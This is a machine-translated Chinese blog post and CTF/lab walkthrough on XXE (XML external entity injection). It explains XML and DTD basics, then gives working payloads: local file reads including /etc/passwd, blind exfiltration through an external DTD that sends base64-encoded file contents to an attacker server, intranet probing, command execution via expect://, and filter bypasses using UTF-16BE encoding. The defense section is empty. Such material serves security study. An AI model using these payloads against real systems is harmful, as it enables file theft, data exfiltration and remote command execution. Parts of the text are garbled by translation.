当前位置:网站首页>XxE & XML external entity injection utilization and bypass
XxE & XML external entity injection utilization and bypass
2022-07-25 23:18:00 【[email protected]】
Xiaodi
Reference resources :
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=38
https://www.cnblogs.com/20175211lyz/p/11413335.html
https://www.bilibili.com/read/cv14409425

Concept
Here is the reference
XML Designed to transmit and store data ,XML The document structure includes XML Statement 、DTD Document type definition ( Optional )、 Document elements , The focus is on the content of the data , It takes data from HTML Separate , Is independent of software and hardware information transmission tool .XXE Full name of loophole XMLExternal Entity Injection, namely xml External entity injection vulnerability ,XXE The vulnerability is in application parsing XML When the input , Loading of external entities is not prohibited , Causes a malicious external file to load , Cause file read 、 Command execution 、 Intranet port scan 、 Attacks on Intranet sites and other hazards .XML And HTML Major differences XML Designed to transmit and store data , The focus is on the content of the data .
HTML Designed to display data , The focus is on the appearance of the data .
HTML To show information , and XML To transmit information .
Example :
<!-- Document type definition -->
<!DOCTYPE note [ <!-- When defining this document note Type of document -->
<!ELEMENT note (to,from,heading,body)> <!-- Definition note The element has four elements -->
<!ELEMENT to (#PCDATA)> <!-- Definition to Element is "#PCDATA" type -->
<!ELEMENT from (#PCDATA)> <!-- Definition from Element is "#PCDATA" type -->
<!ELEMENT head (#PCDATA)> <!-- Definition head Element is "#PCDATA" type -->
<!ELEMENT body (#PCDATA)> <!-- Definition body Element is "#PCDATA" type -->
]]]>
<!-- Document elements -->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD Document type definition
(DTD) Definable legal XML Document building module , It uses a set of legal elements to define the structure of the document .DTD It can be expressed in lines XML In the document , It can also be used as an external reference
(1) Inside DOCTYPE Statement
(2) External document declaration
DTD Entity
(1) Internal entity declaration
<!ENTITY The entity name ” The value of the entity ”>(2) Declaration of external entities
<!ENTITY The entity name SYSTEM ”URI”>(3) Parameter entity declaration
<!ENTITY % The entity name ” The value of the entity ”> <!ENTITY % The entity name SYSTEM ”URI”>XML External Entity - pikachu Case study

File read - With echo
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///f://phpstudy_pro//www.txt"> ]>
<x>&xxe;</x>
Direct copy execution 
If there is no such file, an error will be reported 
File read - No echo
Look at the returned content according to your network log
<?xml version = "1.0"?>
<!DOCTYPE test [ <!- First read the file assignment file -> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> <!- Asking for an address dtd file -> <!ENTITY % dtd SYSTEM "( Own website )http://192.168.xx.xxx:80/test.dtd"> %dtd; %send; ]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'( Own website )http://192.168.xx.xxx:80/?data=%file;'>"
>
%payload;

Intranet probe
If the request succeeds, it indicates that the port is open and there is this file . It is generally useless in actual combat
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTYTY rabbit SYSTEM "http://192.168.0.1:80/log.txt"> ]>
<x>&rabbit;</x>
RCE
The CASE It's installing expect Extended PHP Executing system commands in the environment .
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id"> ]>
<x>&xxe;</x>
Reference external entities DTD
perform evil2.dtd Code in file , If the setting prohibits referencing external entities , You can't take advantage of .
<?xml version = "1.0"?>
<!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd"> %file; ]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">Bypass / Add
https://www.cnblogs.com/20175211lyz/p/11413335.html
Use encoding to bypass :UTF-16BE
ENTITY, SYSTEM, file And other keywords are filtered
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
if http Filtered , Sure
data:// The agreement bypasses
file:// Agreement plus file upload
php://filter Agreement plus file upload
testing
Reptiles ,Content -Type Value judgement , If it is text/xml perhaps application/xml, You can also change Content-type Value
xxe-lab shooting range
https://github.com/c0ny1/xxe-lab
Crawler my new version does not spider.


Search for xml
Then I didn't find it , You can only directly sign in to the address MIME type Namely xml

Then we can construct pyload
<?xml version="1.0"?>
<!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/test.txt"> ]>
<user><username>&test;</username><password>Mikasa</password></user>
Read successfully ,
test username Must be for &test; Talent , I don't know why 
CTF-Jarvis-OJ-Web-XXE
http://web.jarvisoj.com:9882/
The format of submission should be json,
Change to xml, structure payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]>
<x>&f;</x>

CTF-XXE-vulhub shooting range
https://download.vulnhub.com/xxe/XXE.zip
<?xml version="1.0" ?>
<!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]>
<root><name>&sp;</name><password>hj</password></root>
XXE Automated injection script tool -XXEEinjector
https://github.com/enjoiz/XXEinjector
defense
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/206/202207252314374542.html
边栏推荐
- XXE&XML-外部实体注入-利用和绕过
- Yii2 behavior usage and its calling method
- Wechat official account, wechat payment development
- Unity 使用宏
- 行云管家V6.5.1/2/3系列版本发布:数据库OpenAPI能力持续强化
- Discuz atmosphere game style template / imitation lol hero League game DZ game template GBK
- Family relationship calculator wechat applet source code
- [QNX Hypervisor 2.2用户手册]9.7 generate
- POI special effects Market Research
- Solution of phpstudy service environment 80 port occupied by process system under Windows
猜你喜欢

Discuz magazine / news report template (jeavi_line) utf8 GBK / DZ template download

Enabling partners, how can Amazon cloud technology "get on the horse and get a ride"?

firewall 命令简单操作

赋能合作伙伴,亚马逊云科技如何落地“扶上马,送一程”?

Zero crossing position search of discrete data (array)

WordPress removes the website publishing time

自定义mvc原理

Discuz atmosphere game style template / imitation lol hero League game DZ game template GBK

Take away applet with main version of traffic / repair to add main access function of traffic

Basic knowledge of radar
随机推荐
Source code of YY music wechat applet imitating Netease cloud music
Custom MVC principle
Ma Tiji Wanmin hall Chef
[QNX Hypervisor 2.2用户手册]9.7 generate
Expression of directional signal -- complex exponential signal
Recommended system - an embedded learning framework for numerical features in CTR prediction
向下扎根,向上生长,探寻华为云AI的“根”力量
QT add mouse event to control
Single model common sense reasoning first surpasses human beings! HFL summit openbookqa challenge
ETL工具(数据同步) 二
ffmpeg初次学习(仅针对编码)
Solution of phpstudy service environment 80 port occupied by process system under Windows
Data filtering of MATLAB
Several commonly used traversal methods
Apple CMS V10 template /mxone Pro adaptive film and television website template
Mongodb的特点、与MySQL的差别、以及应用场景
连续三年成为云AI服务领导者,亚马逊云科技做对了什么?
VisualBox启动虚拟机报错:The VM session was closed before any attempt to power it on.
CSV generated by PHP cannot completely display the number with leading 0
Zero crossing position search of discrete data (array)